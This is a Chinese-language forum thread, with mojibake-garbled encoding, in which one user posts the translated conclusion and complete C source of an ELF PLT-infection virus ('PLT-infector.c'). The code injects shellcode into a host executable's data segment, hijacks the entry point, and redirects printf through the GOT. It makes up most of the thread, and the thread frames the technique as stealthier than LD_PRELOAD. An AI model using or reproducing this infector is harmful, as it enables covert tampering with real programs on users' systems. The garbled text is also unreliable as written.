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1. suo2800 ÓÚ 2006-07-13 21:17:08·¢±í:

   ¶¥£¬Ö§³Ö

2. dboo78 ÓÚ 2005-11-26 13:57:29·¢±í:

   keke

3. ·çÓêÎÞ×è ÓÚ 2005-11-24 00:52:32·¢±í:

   if (init_virus != NULL)
   init_virus(
   plt, sym_offset,
   text_start, phdr-£¾p_vaddr,
   phdr-£¾p_memsz,
   ehdr.e_entry
   )£»
   
   ehdr.e_entry = phdr-£¾p_vaddr + phdr-£¾p_memsz£»
   
   break£»
   }
   }
   
   ++phdr£»
   }
   
   /* update the shdr's to reflect the insertion of the virus */
   
   addlen = len + bss_len£»
   
   shdr = (Elf32_Shdr *)sdata£»
   
   for (i = 0£» i £¼ ehdr.e_shnum£» i++) {
   if (shdr-£¾sh_offset £¾= offset) {
   shdr-£¾sh_offset += addlen£»
   }
   
   ++shdr£»
   }
   
   /*
   update the phdr's to reflect the extention of the data segment (to
   allow virus insertion)
   */
   
   phdr = (Elf32_Phdr *)pdata£»
   
   for (i = 0£» i £¼ ehdr.e_phnum£» i++) {
   if (phdr-£¾p_type != PT_DYNAMIC) {
   if (move) {
   phdr-£¾p_offset += addlen£»
   } else if (phdr-£¾p_type == PT_LOAD && phdr-£¾p_offset) {
   /* is this the data segment ? */
   
   phdr-£¾p_filesz += addlen£»
   phdr-£¾p_memsz += addlen£»
   
   #ifdef DEBUG
   printf("phdr-£¾filesz: %i
   ", phdr-£¾p_filesz)£»
   printf("phdr-£¾memsz: %i
   ", phdr-£¾p_memsz)£»
   #endif
   move = 1£»
   }
   }
   
   ++phdr£»
   }
   
   /* update ehdr to reflect new offsets */
   
   if (ehdr.e_shoff £¾= offset) ehdr.e_shoff += addlen£»
   if (ehdr.e_phoff £¾= offset) ehdr.e_phoff += addlen£»
   
   if (fstat(fd, &stat) £¼ 0) {
   perror("fstat")£»
   exit(1)£»
   }
   
   /* write the new virus */
   
   if (mktemp(tempname) == NULL) {
   perror("mktemp")£»
   exit(1)£»
   }
   
   od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode)£»
   if (od £¼ 0) {
   perror("open")£»
   exit(1)£»
   }
   
   if (lseek(fd, 0, SEEK_SET) £¼ 0) {
   perror("lseek")£»
   goto cleanup£»
   }
   
   if (write(od, &ehdr, sizeof(ehdr)) £¼ 0) {
   perror("write")£»
   goto cleanup£»
   }
   
   if (write(od, pdata, plen) £¼ 0) {
   perror("write")£»
   goto cleanup£»
   }
   free(pdata)£»
   
   if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) £¼ 0) {
   perror("lseek")£»
   goto cleanup£»
   }
   
   if (copy_partial(fd, od, offset - pos) £¼ 0) goto cleanup£»
   
   for (i = 0£» i £¼ bss_len£» i++) write(od, &null, 1)£»
   
   if (write(od, get_virus(), len) != len) {
   perror("write")£»
   goto cleanup£»
   }
   
   if (copy_partial(fd, od, oshoff - offset) £¼ 0) goto cleanup£»
   
   if (write(od, sdata, slen) £¼ 0) {
   perror("write")£»
   goto cleanup£»
   }
   free(sdata)£»
   
   if (lseek(fd, pos = oshoff + slen, SEEK_SET) £¼ 0) {
   perror("lseek")£»
   goto cleanup£»
   }
   
   if (copy_partial(fd, od, stat.st_size - pos) £¼ 0) goto cleanup£»
   
   if (rename(tempname, host) £¼ 0) {
   perror("rename")£»
   exit(1)£»
   }
   
   if (fchown(od, stat.st_uid, stat.st_gid) £¼ 0) {
   perror("chown")£»
   exit(1)£»
   }
   
   
   free(string)£»
   
   return£»
   
   cleanup:
   unlink(tempname)£»
   exit(1)£»
   }
   
   int main(int argc, char *argv[])
   {
   if (argc != 2) {
   fprintf(stderr, "usage: infect-data-segment filename
   ")£»
   exit(1)£»
   }
   
   infect_elf(
   argv[1],
   get_virus, init_virus,
   sizeof(v),
   "printf"
   )£»
   
   exit(0)£»
   }
   £¼--£¾

4. ·çÓêÎÞ×è ÓÚ 2005-11-24 00:52:02·¢±í:

   for (i = 0£» i £¼ ehdr-£¾e_shnum£» i++) {
   if (shdrp-£¾sh_type == SHT_DYNSYM) {
   return do_dyn_symtab(fd, shdr, shdrp, sh_function)£»
   }
   
   ++shdrp£»
   }
   }
   
   void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
   {
   Elf32_Rel *rel, *relp£»
   int i£»
   
   rel = (Elf32_Rel *)malloc(shdr-£¾sh_size)£»
   if (rel == NULL) {
   perror("malloc")£»
   exit(1)£»
   }
   
   if (lseek(fd, shdr-£¾sh_offset, SEEK_SET) != shdr-£¾sh_offset) {
   perror("lseek")£»
   exit(1)£»
   }
   
   if (read(fd, rel, shdr-£¾sh_size) != shdr-£¾sh_size) {
   perror("read")£»
   exit(1)£»
   }
   
   relp = rel£»
   
   for (i = 0£» i £¼ shdr-£¾sh_size£» i += sizeof(Elf32_Rel)) {
   if (ELF32_R_SYM(relp-£¾r_info) == sym) {
   *plt = relp-£¾r_offset£»
   *offset = relp - rel£»
   printf("offset %i
   ", *offset)£»
   return£»
   }
   ++relp£»
   }
   
   *plt = -1£»
   *offset = -1£»
   }
   
   void find_rel(
   int *plt,
   int *offset,
   int fd,
   const char *string,
   Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
   const char *sh_function
   )
   {
   Elf32_Shdr *shdrp = shdr£»
   int sym£»
   int i£»
   
   sym = get_sym_number(fd, ehdr, shdr, sh_function)£»
   if (sym £¼ 0) {
   *plt = -1£»
   *offset = -1£»
   return£»
   }
   
   for (i = 0£» i £¼ ehdr-£¾e_shnum£» i++) {
   if (!strcmp(&string[shdrp-£¾sh_name], ".rel.plt")) {
   do_rel(plt, offset, fd, shdrp, sym)£»
   return£»
   }
   
   ++shdrp£»
   }
   }
   
   void infect_elf(
   char *host,
   char *(*get_virus)(void),
   int (*init_virus)(int, int, int, int, int, int),
   int len,
   const char *sh_function
   )
   
   {
   Elf32_Ehdr ehdr£»
   Elf32_Shdr *shdr, *strtabhdr£»
   Elf32_Phdr *phdr£»
   char *pdata, *sdata£»
   int move = 0£»
   int od, fd£»
   int evaddr, text_start = -1, plt£»
   int sym_offset£»
   int bss_len, addlen£»
   int offset, pos, oshoff£»
   int plen, slen£»
   int i£»
   char null = 0£»
   struct stat stat£»
   char *string£»
   char tempname[8] = "vXXXXXX"£»
   
   fd = open(host, O_RDONLY)£»
   if (fd £¼ 0) {
   perror("open")£»
   exit(1)£»
   }
   
   /* read the ehdr */
   
   if (read(fd, &ehdr, sizeof(ehdr)) £¼ 0) {
   perror("read")£»
   exit(1)£»
   }
   
   do_elf_checks(&ehdr)£»
   
   /* modify the virus so that it knows the correct reentry point */
   
   printf("host entry point: %x
   ", ehdr.e_entry)£»
   
   /* allocate memory for phdr tables */
   
   pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum)£»
   if (pdata == NULL) {
   perror("malloc")£»
   exit(1)£»
   }
   
   /* read the phdr's */
   
   if (lseek(fd, ehdr.e_phoff, SEEK_SET) £¼ 0) {
   perror("lseek")£»
   exit(1)£»
   }
   
   if (read(fd, pdata, plen) != plen) {
   perror("read")£»
   exit(1)£»
   }
   phdr = (Elf32_Phdr *)pdata£»
   
   /* allocated memory if required to accomodate the shdr tables */
   
   sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum)£»
   if (sdata == NULL) {
   perror("malloc")£»
   exit(1)£»
   }
   
   /* read the shdr's */
   
   if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) £¼ 0) {
   perror("lseek")£»
   exit(1)£»
   }
   
   if (read(fd, sdata, slen) != slen) {
   perror("read")£»
   exit(1)£»
   }
   
   strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx]£»
   
   string = (char *)malloc(strtabhdr-£¾sh_size)£»
   if (string == NULL) {
   perror("malloc")£»
   exit(1)£»
   }
   
   if (lseek(
   fd, strtabhdr-£¾sh_offset, SEEK_SET
   ) != strtabhdr-£¾sh_offset) {
   perror("lseek")£»
   exit(1)£»
   }
   
   if (read(fd, string, strtabhdr-£¾sh_size) != strtabhdr-£¾sh_size) {
   perror("read")£»
   exit(1)£»
   }
   
   find_rel(
   &plt, &sym_offset,
   fd,
   string,
   &ehdr,
   (Elf32_Shdr *)sdata,
   sh_function
   )£»
   if (plt £¼ 0) {
   printf("No dynamic function: %s
   ", sh_function)£»
   exit(1)£»
   }
   
   for (i = 0£» i £¼ ehdr.e_phnum£» i++) {
   if (phdr-£¾p_type == PT_LOAD) {
   if (phdr-£¾p_offset == 0) {
   text_start = phdr-£¾p_vaddr£»
   } else {
   if (text_start £¼ 0) {
   fprintf(stderr, "No text segment??
   ")£»
   exit(1)£»
   }
   
   /* is this the data segment ? */
   #ifdef DEBUG
   printf("Found PT_LOAD segment...
   ")£»
   printf(
   "p_vaddr: 0x%x
   "
   "p_offset: %i
   "
   "p_filesz: %i
   "
   "p_memsz: %i
   "
   "
   ",
   phdr-£¾p_vaddr,
   phdr-£¾p_offset,
   phdr-£¾p_filesz,
   phdr-£¾p_memsz
   )£»
   #endif
   offset = phdr-£¾p_offset + phdr-£¾p_filesz£»
   bss_len = phdr-£¾p_memsz - phdr-£¾p_filesz£»

5. ·çÓêÎÞ×è ÓÚ 2005-11-24 00:51:30·¢±í:

   6¡¢½áÂÛ
   
   ¡¡¡¡±¾ÎÄÃèÊöÁËÒ»¸öͨ¹ý¸ÐȾ¿ÉÖ´ÐÐÎļþPLTʵÏÖ¹²Ïí¿âµ÷ÓÃÖض¨ÏòµÄ·½·¨¡£Õâ¸ö¼¼Êõ±ÈʹÓÃLD_PRELOAD»·¾³±äÁ¿¸üΪÒþ±Î¡£
   
   ¡¡¡¡¸½Â¼£º³ÌÐò´úÂë
   
   ¡¡¡¡ÓÉÓÚÔ­À´´úÂëµÄÒ»¸öµØ·½ÓëеÄglibc¿â²»¼æÈÝ£¬Ôì³ÉÎÞ·¨±àÒ룬ËùÒÔ¶Ôdo_elf_checksº¯Êý×÷ÁËÒ»µãССµÄ¸Ä¶¯,nixe0n
   
   £¼++£¾ p56/PLT-INFECTION/PLT-infector.c !fda3c047
   #include £¼stdio.h£¾
   #include £¼stdlib.h£¾
   #include £¼sys/stat.h£¾
   #include £¼sys/types.h£¾
   #include £¼string.h£¾
   #include £¼fcntl.h£¾
   #include £¼unistd.h£¾
   #include £¼elf.h£¾
   
   #define PAGE_SIZE 4096
   
   static char v[] =
   "x60" /* pusha */
   
   "xb8x7dx00x00x00" /* movl $125,%eax */
   "xbbx00x80x04x08" /* movl $text_start,%ebx */
   "xb9x00x40x00x00" /* movl $0x4000,%ecx */
   "xbax07x00x00x00" /* movl $7,%edx */
   "xcdx80" /* int $0x80 */
   
   "xa1x00x00x00x00" /* movl plt,%eax */
   "xa3x00x00x00x00" /* movl %eax,oldcall */
   "xc7x05x00x90x04" /* movl $newcall,plt */
   "x08x00x00x00x00"
   
   "x61" /* popa */
   
   "xbdx00x80x04x08" /* movl $entry,%ebp */
   "xffxe5" /* jmp *%ebp */
   
   /* newcall: */
   
   "xebx37" /* jmp msg_jmp */
   /* msg_call */
   "x59" /* popl %ecx */
   "xb8x04x00x00x00" /* movl $4,%eax */
   "xbbx01x00x00x00" /* movl $1,%ebx */
   "xbax0ex00x00x00" /* movl $14,%edx */
   "xcdx80" /* int $0x80 */
   
   "xb8x00x00x00x00" /* movl $oldcall,%eax */
   "xa3x00x00x00x00" /* movl %eax,plt */
   "xffx75xfc" /* pushl -4(%ebp) */
   "xffxd0" /* call *%eax */
   "xa1x00x00x00x00" /* movl plt,%eax */
   "xa3x00x00x00x00" /* movl %eax,oldcall */
   "xc7x05x00x00x00" /* movl $newcall,plt */
   "x08x00x00x00x00"
   
   "x58" /* popl %eax */
   
   "xc3" /* ret */
   
   /* msg_jmp */
   "xe8xc4xffxffxff" /* call msg_call */
   
   "INFECTED Host "
   £»
   
   char *get_virus(void)
   {
   return v£»
   }
   
   int init_virus(
   int plt,
   int offset,
   int text_start, int data_start,
   int data_memsz,
   int entry
   )
   {
   int code_start = data_start + data_memsz£»
   int oldcall = code_start + 72£»
   int newcall = code_start + 51£»
   
   *(int *)&v[7] = text_start£»
   *(int *)&v[24] = plt£»
   *(int *)&v[29] = oldcall£»
   *(int *)&v[35] = plt£»
   *(int *)&v[39] = newcall£»
   *(int *)&v[45] = entry£»
   *(int *)&v[77] = plt£»
   *(int *)&v[87] = plt£»
   *(int *)&v[92] = oldcall£»
   *(int *)&v[98] = plt£»
   *(int *)&v[102] = newcall£»
   return 0£»
   }
   
   int copy_partial(int fd, int od, unsigned int len)
   {
   char idata[PAGE_SIZE]£»
   unsigned int n = 0£»
   int r£»
   
   while (n + PAGE_SIZE £¼ len) {
   if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {£»
   perror("read")£»
   return -1£»
   }
   
   if (write(od, idata, PAGE_SIZE) £¼ 0) {
   perror("write")£»
   return -1£»
   }
   
   n += PAGE_SIZE£»
   }
   
   r = read(fd, idata, len - n)£»
   if (r £¼ 0) {
   perror("read")£»
   return -1£»
   }
   
   if (write(od, idata, r) £¼ 0) {
   perror("write")£»
   return -1£»
   }
   
   return 0£»
   }
   
   void do_elf_checks(Elf32_Ehdr *ehdr)
   {
   if (strncmp(ehdr-£¾e_ident, ELFMAG, SELFMAG)) {
   fprintf(stderr, "File not ELF
   ")£»
   exit(1)£»
   }
   
   if (ehdr-£¾e_type != ET_EXEC) {
   fprintf(stderr, "ELF type not ET_EXEC or ET_DYN
   ")£»
   exit(1)£»
   }
   
   if (ehdr-£¾e_machine != EM_386) {
   fprintf(stderr, "ELF machine type not EM_386
   ")£»
   exit(1)£»
   }
   
   if (ehdr-£¾e_version != EV_CURRENT) {
   fprintf(stderr, "ELF version not current
   ")£»
   exit(1)£»
   }
   }
   
   int do_dyn_symtab(
   int fd,
   Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
   const char *sh_function
   )
   {
   Elf32_Shdr *strtabhdr = &shdr[shdrp-£¾sh_link]£»
   char *string£»
   Elf32_Sym *sym, *symp£»
   int i£»
   
   string = (char *)malloc(strtabhdr-£¾sh_size)£»
   if (string == NULL) {
   perror("malloc")£»
   exit(1)£»
   }
   
   if (lseek(
   fd, strtabhdr-£¾sh_offset, SEEK_SET) != strtabhdr-£¾sh_offset
   ) {
   perror("lseek")£»
   exit(1)£»
   }
   
   if (read(fd, string, strtabhdr-£¾sh_size) != strtabhdr-£¾sh_size) {
   perror("read")£»
   exit(1)£»
   }
   
   sym = (Elf32_Sym *)malloc(shdrp-£¾sh_size)£»
   if (sym == NULL) {
   perror("malloc")£»
   exit(1)£»
   }
   
   if (lseek(fd, shdrp-£¾sh_offset, SEEK_SET) != shdrp-£¾sh_offset) {
   perror("lseek")£»
   exit(1)£»
   }
   
   if (read(fd, sym, shdrp-£¾sh_size) != shdrp-£¾sh_size) {
   perror("read")£»
   exit(1)£»
   }
   
   symp = sym£»
   
   for (i = 0£» i £¼ shdrp-£¾sh_size£» i += sizeof(Elf32_Sym)) {
   if (!strcmp(&string[symp-£¾st_name], sh_function)) {
   free(string)£»
   return symp - sym£»
   }
   
   ++symp£»
   }
   
   free(string)£»
   return -1£»
   }
   
   int get_sym_number(
   int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
   )
   {
   Elf32_Shdr *shdrp = shdr£»
   int i£»

6. ·çÓêÎÞ×è ÓÚ 2005-11-24 00:51:03·¢±í:

   Ïò»ØÌøתµ½×î³õµÄÈë¿Ú£º
   
   ¡¡¡¡"xbdx00x80x04x08" /* movl $entry,%ebp */
   ¡¡¡¡"xffxe5" /* jmp *%ebp */
   
   ¡¡¡¡ÐµĿâµ÷Óãº
   
   ¡¡¡¡/* newcall: */
   
   ¡¡¡¡»ñµÃ½«ÒªÊä³öµÄ×Ö·û´®µØÖ·£º
   
   ¡¡¡¡"xebx38" /* jmp msg_jmp */
   ¡¡¡¡/* msg_call */
   ¡¡¡¡"x59" /* popl %ecx */
   
   ¡¡¡¡Í¨¹ýLinuxϵͳµ÷ÓÃÊä³ö×Ö·û´®£º
   
   ¡¡¡¡"xb8x04x00x00x00" /* movl $4,%eax */
   ¡¡¡¡"xbbx01x00x00x00" /* movl $1,%ebx */
   ¡¡¡¡"xbax0ex00x00x00" /* movl $14,%edx */
   ¡¡¡¡"xcdx80" /* int $0x80 */
   
   ¡¡¡¡°Ñ¾ÉµÄ¿âµ÷Óûָ´µ½PLT(GOT)£¬ÒÔ±ãÎÒÃǵ÷Óãº
   
   ¡¡¡¡"xb8x00x00x00x00" /* movl $oldcall,%eax */
   ¡¡¡¡"xa3x00x00x00x00" /* movl %eax,plt */
   
   ¡¡¡¡»ñµÃÔ­À´µÄprintfº¯Êý²ÎÊý£º
   
   ¡¡¡¡"xffx75xfc" /* pushl -4(%ebp) */
   
   ¡¡¡¡µ÷ÓÃÔ­À´µÄ¿âº¯Êý£º
   
   ¡¡¡¡"xffxd0" /* call *%eax */
   
   ¡¡¡¡´ÓPLT(GOT)±£´æÔ­À´µÄ¿âµ÷Ó᣼Çס£ºÍêÕû¶ÔÕâ¸ö¿âº¯ÊýµÄµ÷ÓÃÖ®ºó£¬PLT(GOT)µÄÖµ¿ÉÄܻᷢÉú¸Ä±ä£¬ÒÔ´ËÎÒÃÇÿ´Î¶¼Òª±£´æËüµÄÖµ¡£Êµ¼ÊÉÏ£¬Ö»ÊÇÔÚµÚÒ»´Îµ÷ÓÃÖ®ºó£¬Õâ¸öÖµ»á±»ÐÞ¸Ä(Óɶ¯Ì¬Á¬½ÓÆ÷)£¬µ«ÊÇÎÒÃDz»ÄܵôÒÔÇáÐÄ¡£
   
   ¡¡¡¡"xa1x00x00x00x00" /* movl plt,%eax */
   ¡¡¡¡"xa3x00x00x00x00" /* movl %eax,oldcall */
   
   ¡¡¡¡Ê¹PLT(GOT)Ö¸ÏòеĿ⺯Êý£º
   
   ¡¡¡¡"xc7x05x00x00x00" /* movl $newcall,plt */
   ¡¡¡¡"x08x00x00x00x00"
   
   ¡¡¡¡ÇåÀí²ÎÊý£º
   
   ¡¡¡¡"x58" /* popl %eax */
   
   ¡¡¡¡»Ö¸´¼Ä´æÆ÷£º
   
   ¡¡¡¡"x61" /* popa */
   
   ¡¡¡¡´Óº¯Êý·µ»Ø£º
   
   ¡¡¡¡"xc3" /* ret */
   
   ¡¡¡¡»ñµÃÊä³ö×Ö·û´®µÄµØÖ·£º
   
   ¡¡¡¡/* msg_jmp */
   ¡¡¡¡"xe8xc4xffxffxff" /* call msg_call */
   
   ¡¡¡¡±»Êä³öµÄ×Ö·û´®£º
   
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